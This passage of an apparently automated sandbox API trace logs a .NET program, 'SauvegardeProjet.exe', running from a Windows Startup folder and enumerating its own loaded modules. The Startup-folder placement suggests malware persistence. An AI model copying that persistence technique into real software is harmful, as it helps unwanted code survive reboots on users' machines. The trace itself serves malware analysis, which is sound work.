hProcess=0x280, hModule=0x735f0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0228.466] CoTaskMemFree (pv=0x4fb3db8) [0228.466] GetModuleInformation (in: hProcess=0x280, hModule=0x75b40000, lpmodinfo=0x2445444, cb=0xc | out: lpmodinfo=0x2445444*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0228.467] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.467] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75b40000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0228.468] CoTaskMemFree (pv=0x4fb3db8) [0228.468] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.468] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75b40000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0228.469] CoTaskMemFree (pv=0x4fb3db8) [0228.469] GetModuleInformation (in: hProcess=0x280, hModule=0x70de0000, lpmodinfo=0x2447550, cb=0xc | out: lpmodinfo=0x2447550*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0228.470] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.470] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x70de0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0228.471] CoTaskMemFree (pv=0x4fb3db8) [0228.471] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.471] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x70de0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0228.472] CoTaskMemFree (pv=0x4fb3db8) [0228.472] GetModuleInformation (in: hProcess=0x280, hModule=0x77ae0000, lpmodinfo=0x2449674, cb=0xc | out: lpmodinfo=0x2449674*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0228.473] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.473] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77ae0000, lpBaseName=0x4fb3db8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0228.474] CoTaskMemFree (pv=0x4fb3db8) [0228.474] CoTaskMemAlloc (cb=0x804) returned 0x4fb3db8 [0228.474] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77ae0000, lpFilename=0x4fb3db8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0228.475] CoTaskMemFree (pv=0x4fb3db8) [0228.475] CloseHandle (hObject=0x280) returned 1 [0229.036] GetCurrentProcessId () returned 0x564 [0229.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x280 [0229.036] EnumProcessModules (in: hProcess=0x280, lphModule=0x23d3b74, cb=0x100, lpcbNeeded=0x636b1a0 | out: lphModule=0x23d3b74, lpcbNeeded=0x636b1a0) returned 1 [0229.037] GetModuleInformation (in: hProcess=0x280, hModule=0x260000, lpmodinfo=0x23d3cb4, cb=0xc | out: lpmodinfo=0x23d3cb4*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0229.037] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.037] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0229.038] CoTaskMemFree (pv=0x4fb3308) [0229.038] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.038] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0229.038] CoTaskMemFree (pv=0x4fb3308) [0229.038] GetModuleInformation (in: hProcess=0x280, hModule=0x77b10000, lpmodinfo=0x23d5e94, cb=0xc | out: lpmodinfo=0x23d5e94*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0229.038] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.038] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0229.038] CoTaskMemFree (pv=0x4fb3308) [0229.038] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.038] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0229.039] CoTaskMemFree (pv=0x4fb3308) [0229.039] GetModuleInformation (in: hProcess=0x280, hModule=0x736a0000, lpmodinfo=0x23d7f98, cb=0xc | out: lpmodinfo=0x23d7f98*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0229.039] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.039] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0229.039] CoTaskMemFree (pv=0x4fb3308) [0229.039] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.039] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0229.039] CoTaskMemFree (pv=0x4fb3308) [0229.039] GetModuleInformation (in: hProcess=0x280, hModule=0x77540000, lpmodinfo=0x23da0a4, cb=0xc | out: lpmodinfo=0x23da0a4*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0229.039] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.039] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0229.040] CoTaskMemFree (pv=0x4fb3308) [0229.040] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.040] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0229.040] CoTaskMemFree (pv=0x4fb3308) [0229.040] GetModuleInformation (in: hProcess=0x280, hModule=0x75990000, lpmodinfo=0x23dc1b8, cb=0xc | out: lpmodinfo=0x23dc1b8*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0229.040] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.040] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0229.040] CoTaskMemFree (pv=0x4fb3308) [0229.040] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.040] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0229.040] CoTaskMemFree (pv=0x4fb3308) [0229.041] GetModuleInformation (in: hProcess=0x280, hModule=0x773f0000, lpmodinfo=0x23de300, cb=0xc | out: lpmodinfo=0x23de300*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0229.041] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.041] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0229.041] CoTaskMemFree (pv=0x4fb3308) [0229.041] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.041] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0229.041] CoTaskMemFree (pv=0x4fb3308) [0229.041] GetModuleInformation (in: hProcess=0x280, hModule=0x77490000, lpmodinfo=0x23e0414, cb=0xc | out: lpmodinfo=0x23e0414*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0229.041] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.041] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0229.042] CoTaskMemFree (pv=0x4fb3308) [0229.042] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.042] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0229.042] CoTaskMemFree (pv=0x4fb3308) [0229.042] GetModuleInformation (in: hProcess=0x280, hModule=0x75f70000, lpmodinfo=0x23e2520, cb=0xc | out: lpmodinfo=0x23e2520*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0229.042] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.042] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0229.043] CoTaskMemFree (pv=0x4fb3308) [0229.043] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.043] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0229.043] CoTaskMemFree (pv=0x4fb3308) [0229.043] GetModuleInformation (in: hProcess=0x280, hModule=0x758a0000, lpmodinfo=0x23e462c, cb=0xc | out: lpmodinfo=0x23e462c*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0229.043] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.043] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0229.044] CoTaskMemFree (pv=0x4fb3308) [0229.044] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.044] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0229.044] CoTaskMemFree (pv=0x4fb3308) [0229.044] GetModuleInformation (in: hProcess=0x280, hModule=0x75670000, lpmodinfo=0x23e6784, cb=0xc | out: lpmodinfo=0x23e6784*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0229.044] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.044] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0229.045] CoTaskMemFree (pv=0x4fb3308) [0229.045] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.045] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0229.045] CoTaskMemFree (pv=0x4fb3308) [0229.045] GetModuleInformation (in: hProcess=0x280, hModule=0x75660000, lpmodinfo=0x23e8890, cb=0xc | out: lpmodinfo=0x23e8890*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0229.045] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.045] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0229.045] CoTaskMemFree (pv=0x4fb3308) [0229.045] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.045] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0229.046] CoTaskMemFree (pv=0x4fb3308) [0229.046] GetModuleInformation (in: hProcess=0x280, hModule=0x73620000, lpmodinfo=0x23ea9a4, cb=0xc | out: lpmodinfo=0x23ea9a4*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0229.046] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.046] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0229.046] CoTaskMemFree (pv=0x4fb3308) [0229.046] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.046] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0229.047] CoTaskMemFree (pv=0x4fb3308) [0229.047] GetModuleInformation (in: hProcess=0x280, hModule=0x75db0000, lpmodinfo=0x23ecaec, cb=0xc | out: lpmodinfo=0x23ecaec*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0229.047] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.047] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0229.048] CoTaskMemFree (pv=0x4fb3308) [0229.048] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.048] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0229.048] CoTaskMemFree (pv=0x4fb3308) [0229.048] GetModuleInformation (in: hProcess=0x280, hModule=0x75810000, lpmodinfo=0x23eebf8, cb=0xc | out: lpmodinfo=0x23eebf8*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0229.048] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.048] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0229.049] CoTaskMemFree (pv=0x4fb3308) [0229.049] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.049] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0229.049] CoTaskMemFree (pv=0x4fb3308) [0229.049] GetModuleInformation (in: hProcess=0x280, hModule=0x75e10000, lpmodinfo=0x23f0cfc, cb=0xc | out: lpmodinfo=0x23f0cfc*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0229.049] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.050] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0229.050] CoTaskMemFree (pv=0x4fb3308) [0229.050] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.050] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0229.050] CoTaskMemFree (pv=0x4fb3308) [0229.050] GetModuleInformation (in: hProcess=0x280, hModule=0x772c0000, lpmodinfo=0x23f2e08, cb=0xc | out: lpmodinfo=0x23f2e08*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0229.051] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.051] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0229.051] CoTaskMemFree (pv=0x4fb3308) [0229.051] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.051] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0229.051] CoTaskMemFree (pv=0x4fb3308) [0229.051] GetModuleInformation (in: hProcess=0x280, hModule=0x75a30000, lpmodinfo=0x23f4f04, cb=0xc | out: lpmodinfo=0x23f4f04*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0229.052] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.052] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0229.052] CoTaskMemFree (pv=0x4fb3308) [0229.052] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.052] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0229.052] CoTaskMemFree (pv=0x4fb3308) [0229.052] GetModuleInformation (in: hProcess=0x280, hModule=0x75ae0000, lpmodinfo=0x23f7094, cb=0xc | out: lpmodinfo=0x23f7094*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0229.053] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.053] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0229.053] CoTaskMemFree (pv=0x4fb3308) [0229.053] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.053] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0229.054] CoTaskMemFree (pv=0x4fb3308) [0229.054] GetModuleInformation (in: hProcess=0x280, hModule=0x75be0000, lpmodinfo=0x23f9198, cb=0xc | out: lpmodinfo=0x23f9198*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0229.054] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.054] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0229.054] CoTaskMemFree (pv=0x4fb3308) [0229.054] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.054] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0229.055] CoTaskMemFree (pv=0x4fb3308) [0229.055] GetModuleInformation (in: hProcess=0x280, hModule=0x73610000, lpmodinfo=0x23fb29c, cb=0xc | out: lpmodinfo=0x23fb29c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0229.055] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.055] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0229.056] CoTaskMemFree (pv=0x4fb3308) [0229.056] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.056] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0229.056] CoTaskMemFree (pv=0x4fb3308) [0229.056] GetModuleInformation (in: hProcess=0x280, hModule=0x72f40000, lpmodinfo=0x23fd3a8, cb=0xc | out: lpmodinfo=0x23fd3a8*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0229.057] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.057] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0229.057] CoTaskMemFree (pv=0x4fb3308) [0229.057] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.057] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0229.057] CoTaskMemFree (pv=0x4fb3308) [0229.057] GetModuleInformation (in: hProcess=0x280, hModule=0x75540000, lpmodinfo=0x23ff4d8, cb=0xc | out: lpmodinfo=0x23ff4d8*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0229.058] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.058] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0229.058] CoTaskMemFree (pv=0x4fb3308) [0229.058] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.058] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0229.059] CoTaskMemFree (pv=0x4fb3308) [0229.059] GetModuleInformation (in: hProcess=0x280, hModule=0x74310000, lpmodinfo=0x240160c, cb=0xc | out: lpmodinfo=0x240160c*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0229.059] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.059] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0229.060] CoTaskMemFree (pv=0x4fb3308) [0229.060] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.060] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0229.060] CoTaskMemFree (pv=0x4fb3308) [0229.060] GetModuleInformation (in: hProcess=0x280, hModule=0x77060000, lpmodinfo=0x24037b4, cb=0xc | out: lpmodinfo=0x24037b4*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0229.061] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.061] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0229.061] CoTaskMemFree (pv=0x4fb3308) [0229.061] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.061] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0229.062] CoTaskMemFree (pv=0x4fb3308) [0229.062] GetModuleInformation (in: hProcess=0x280, hModule=0x73e60000, lpmodinfo=0x24058b8, cb=0xc | out: lpmodinfo=0x24058b8*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0229.062] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.062] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0229.063] CoTaskMemFree (pv=0x4fb3308) [0229.063] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.063] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0229.063] CoTaskMemFree (pv=0x4fb3308) [0229.063] GetModuleInformation (in: hProcess=0x280, hModule=0x72590000, lpmodinfo=0x24079c4, cb=0xc | out: lpmodinfo=0x24079c4*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0229.064] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.064] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0229.064] CoTaskMemFree (pv=0x4fb3308) [0229.064] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.064] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0229.065] CoTaskMemFree (pv=0x4fb3308) [0229.065] GetModuleInformation (in: hProcess=0x280, hModule=0x71e70000, lpmodinfo=0x2409b60, cb=0xc | out: lpmodinfo=0x2409b60*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0229.065] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.065] GetModuleBaseNameW (in: hProcess=0x280, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0229.066] CoTaskMemFree (pv=0x4fb3308) [0229.066] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0229.066] GetModuleFileNameExW (in: hProcess=0x280, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0229.066] CoTaskMemFree (pv=0x4fb3308) [0229.066] GetModuleInformation (in: 